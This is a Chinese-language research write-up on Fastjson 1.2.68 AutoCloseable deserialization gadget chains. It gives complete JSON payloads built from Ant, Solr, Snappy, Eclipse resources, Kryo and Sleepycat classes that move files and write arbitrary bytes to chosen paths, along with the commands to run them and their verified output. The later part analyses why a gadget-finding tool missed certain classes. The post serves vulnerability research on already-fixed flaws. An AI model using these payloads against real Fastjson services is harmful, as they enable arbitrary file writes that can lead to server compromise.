标题: 寻找Fastjson 1.2.68 AutoCloseable利用链(2)
创建: 2020-08-10 09:00 更新: 2020-08-11 09:34 链接: https://scz.617.cn/web/202008100900.txt
目录:
☆ 前言
☆ AutoCloseable_ant_solr_snappy.json
☆ 浅蓝的原始PoC
1) AutoCloseable_movefile.json
2) AutoCloseable_writefile.json
☆ 复盘
1) 为什么我忽略了"com.sleepycat.bind.serial.SerialOutput"
2) 为什么FindSomeClass3_mini.txt中没有ObjectOutputStream
☆ 前言
文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于 企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途, 否则产生的一切后果自行承担。
参看:
《寻找Fastjson 1.2.68 AutoCloseable利用链》 https://scz.617.cn/web/202008081723.txt
本文针对rt.jar的潜在幺蛾子增补一些内容。早上意外看到浅蓝的原始PoC,学习之。
☆ AutoCloseable_ant_solr_snappy.json
第一个OutputStream不用rt.jar中的FileOutputStream,转用第三方库中的 LazyFileOutputStream。FindSomeClass_mini.txt中有很多备选。
{ 'stream': { '@type':"java.lang.AutoCloseable", '@type':'org.apache.tools.ant.util.LazyFileOutputStream', 'file':'/tmp/nonexist', 'append':false }, 'writer': { '@type':"java.lang.AutoCloseable", '@type':'org.apache.solr.common.util.FastOutputStream', 'tempBuffer':'SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=', 'sink': { '$ref':'$.stream' }, 'start':38 }, 'close': { '@type':"java.lang.AutoCloseable", '@type':'org.iq80.snappy.SnappyOutputStream', 'out': { '$ref':'$.writer' } } }
java \ -cp "fastjson-1.2.68.jar:ant-1.6.5.jar:solr-solrj-6.6.2.jar:snappy-0.3.jar:." \ FastjsonDeserialize2 AutoCloseable_ant_solr_snappy.json
☆ 浅蓝的原始PoC
1) AutoCloseable_movefile.json
{ 'stream': { '@type':"java.lang.AutoCloseable", '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream', 'targetPath':'/tmp/dst', 'tempPath':'/tmp/src' } }
假设src存在、dst不存在,PoC导致两个动作:
a) mv src dst b) touch src
如果不考虑动作b,这就是move文件,不是copy文件。即使考虑动作b,这也不是copy 文件,源文件被清空,测试时务必提前意识到这点。
不清楚原理时请严格按照如下步骤测试:
echo -ne 'b1u3r' > /tmp/src rm /tmp/dst
java \ -cp "fastjson-1.2.68.jar:resources-3.3.0-v20070604.jar:." \ FastjsonDeserialize2 AutoCloseable_movefile.json
$ xxd -g 1 /tmp/src (无输出)
$ xxd -g 1 /tmp/dst 0000000: 62 31 75 33 72 b1u3r
浅蓝用的jar包是:
https://repo1.maven.org/maven2/org/aspectj/aspectjtools/1.9.5/aspectjtools-1.9.5.jar
金超前的本地仓库中没有这个库,但有resources库,只是测试的话无所谓。
2) AutoCloseable_writefile.json
{ 'stream': { '@type':"java.lang.AutoCloseable", '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream', 'targetPath':'/tmp/dst', 'tempPath':'/tmp/src' }, 'writer': { '@type':"java.lang.AutoCloseable", '@type':'com.esotericsoftware.kryo.io.Output', 'buffer':'YjF1M3I=', 'outputStream': { '$ref':'$.stream' }, 'position':5 }, 'close': { '@type':"java.lang.AutoCloseable", '@type':'com.sleepycat.bind.serial.SerialOutput', 'out': { '$ref':'$.writer' } } }
第一个类无所谓,可选项很多。
第二个类,我也曾用过"com.esotericsoftware.kryo.io.Output"。
第三个类,我学艺不精,无视了ObjectOutputStream.class及其子孙类,导致较难找 到与kryo适配的类,这事后面再说。
这个PoC有些注意事项:
a) 只要dst存在,PoC就会往src写数据,与src是否存在无关。 b) dst不存在、src存在时,先"mv src dst",再往src写数据。 c) dst、src都不存在时才会往dst写数据。
不清楚原理时请严格按照如下步骤测试:
rm /tmp/src rm /tmp/dst
java \ -cp "fastjson-1.2.68.jar:resources-3.3.0-v20070604.jar:kryo-4.0.0.jar:je-5.0.73.jar:." \ FastjsonDeserialize2 AutoCloseable_writefile.json
$ xxd -g 1 /tmp/src xxd: /tmp/src: No such file or directory
$ xxd -g 1 /tmp/dst 0000000: 62 31 75 33 72 b1u3r
☆ 复盘
1) 为什么我忽略了"com.sleepycat.bind.serial.SerialOutput"
FindSomeClass3_mini.txt中有:
X:\jar\repository\com\sleepycat\je\5.0.73\je-5.0.73.jar com.sleepycat.bind.serial.SerialOutput public com.sleepycat.bind.serial.SerialOutput(java.io.OutputStream,com.sleepycat.bind.serial.ClassCatalog) throws java.io.IOException
浅蓝因为事先盯上ObjectOutputStream.class,有意识地去找其子孙类。但我并没有 注意到SerialOutput.class,有两点被忽视了:
a)
SerialOutput.
b)
Fastjson反序列化时,假设构造函数需要多个形参,而json只提供了其中一部分,则 未提供的形参使用0、空串或null。
参看:
/
* 1.2.68
*
* com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(DefaultJSONParser, Type, Object, Object, int, int[]) : Object
/
protected
之前用某种过滤规则的FindSomeClass3扫中过ObjectOutputStream.class,当时也去 看过:
java.io.ObjectOutputStream$BlockDataOutputStream(java.io.OutputStream) void java.io.ObjectOutputStream$BlockDataOutputStream.drain()
不知何故将之放过?主要还是此道不精吧。更扯的是,不但没有盯上它,还莫名其妙 有个错误结论,认为ObjectOutputStream的子孙类都不需要细看,于是进一步远离浅 蓝的这条利用链。
2) 为什么FindSomeClass3_mini.txt中没有ObjectOutputStream
x64/RedHat 7.6+JDK 8u232 x86/Debian 9+JDK 10.0.2
java -cp "fastjson-1.2.68.jar:." FindSomeClass3 <dir> | grep -B 1 -A 1 java.io.ObjectOutputStream
x64/Win7+JDK 11.0.5
X:\Java\jdk-11.0.5\bin\java -cp "fastjson-1.2.68.jar;." FindSomeClass3 <dir> | findstr /C:"java.io.ObjectOutputStream"
如上三种环境均可找到:
public java.io.ObjectOutputStream(java.io.OutputStream) throws java.io.IOException
x64/Win7+JDK 8u221
X:\Java\jdk1.8.0_221\bin\java -cp "fastjson-1.2.68.jar;." FindSomeClass3 <dir> | findstr /C:"java.io.ObjectOutputStream"
如上环境无输出!
为了减少干挠,所有目标rt.jar均为同一份rt_1.8.0_232.jar,源自RedHat,SHA1相 同。这就比较诡异了,jar包完全一样,只是Java解释器版本不同,有的能找到目标类, 有的却找不到。调试后发现幺蛾子出在ASMUtils.lookupParameterNames()中。
/ * 1.2.68 * * com.alibaba.fastjson.util.ASMUtils.lookupParameterNames(AccessibleObject) : String[] / public static String[] lookupParameterNames(AccessibleObject methodOrCtor) { ... / * 143行,"java.io.ObjectOutputStream"被最早那批ClassLoader加载过了, * FindSomeClass3.java虽然用自己的URLClassLoader加载rt_1.8.0_232.jar, * 但ASMUtils.lookupParameterNames()处理ObjectOutputStream.class时找到的是 * 最早那批ClassLoader。 / ClassLoader classLoader = declaringClass.getClassLoader(); if (classLoader == null) { classLoader = ClassLoader.getSystemClassLoader(); }
String className = declaringClass.getName();
String resourceName = className.replace('.', '/') + ".class";
/ * 150行,这个is里的jar包是当前Java进程JAVA_HOME中的rt.jar,对于 * "java.io.ObjectOutputStream"这种系统类来说,此处代码逻辑看不到我们指定 * 的rt_1.8.0_232.jar。按FindSomeClass3.java的代码逻辑,指定rt_1.8.0_232.jar * 仅仅起到组织类名的作用。 / InputStream is = classLoader.getResourceAsStream(resourceName);
if (is == null) {
return new String[0];
}
try {
ClassReader reader = new ClassReader(is, false);
TypeCollector visitor = new TypeCollector(name, types);
reader.accept(visitor);
/ * 160行,前述8u221的rt.jar不带调试信息,此处返回空数组String[0] / String[] parameterNames = visitor.getParameterNamesForMethod();
for (int i = 0; i < parameterNames.length; i++) {
Annotation[] annotations = parameterAnnotations[i];
if (annotations != null) {
for (int j = 0; j < annotations.length; j++) {
if (annotations[j] instanceof JSONField) {
JSONField jsonField = (JSONField) annotations[j];
String fieldName = jsonField.name();
if (fieldName != null && fieldName.length() > 0) {
parameterNames[i] = fieldName;
}
}
}
}
}
return parameterNames;
} catch (IOException e) {
return new String[0];
} finally {
IOUtils.close(is);
}
}
回头来看,不算ASMUtils.lookupParameterNames()的幺蛾子,是FindSomeClass3代 码逻辑带来的误会。
实现FindSomeClass3.java时尝试过各种取形参名字的办法,比如:
a)
javac -parameters
这个从Java 8开始支持,但要求编译时就指定,对已存在的jar包无用。
b)
com.sun.org.apache.bcel.internal.classfile.ClassParser
调用getLocalVariable(),本质上是读取"javac -g"留下的调试信息,这就看目标 jar是否保存调试信息了。
c)
paranamer-2.8.jar
这是个第三方库,封装现有技术便于使用而已,没有本质突破。
d)
ASMUtils.lookupParameterNames()
就FindSomeClass3.java原始目的而言,还不如直接调它算了。
由于setter的存在,理论上并不要求目标jar包必须保存调试信息。Fastjson处理 setter的代码逻辑不依赖形参名字,FindSomeClass3.java中的FilterSetter()没有 调用ASMUtils.lookupParameterNames()。但合适的setter比合适的构造函数少多了。
rt.jar是否保存调试信息是目标环境强相关的,第三方库更是很难有个固定说法,所 以写FindSomeClass3.java愣搜,减少人工工作量。
如果没有仔细从头看下来,给懒人说个简单结论,在目标环境中执行FindSomeClass3, 如果它"没有"输出某个类,那该类就不能用于该目标环境,这是个必要非充分条件。 再强调一下,FindSomeClass3.java是示例性框架,读懂代码逻辑,根据不同需求自 行调整过滤规则。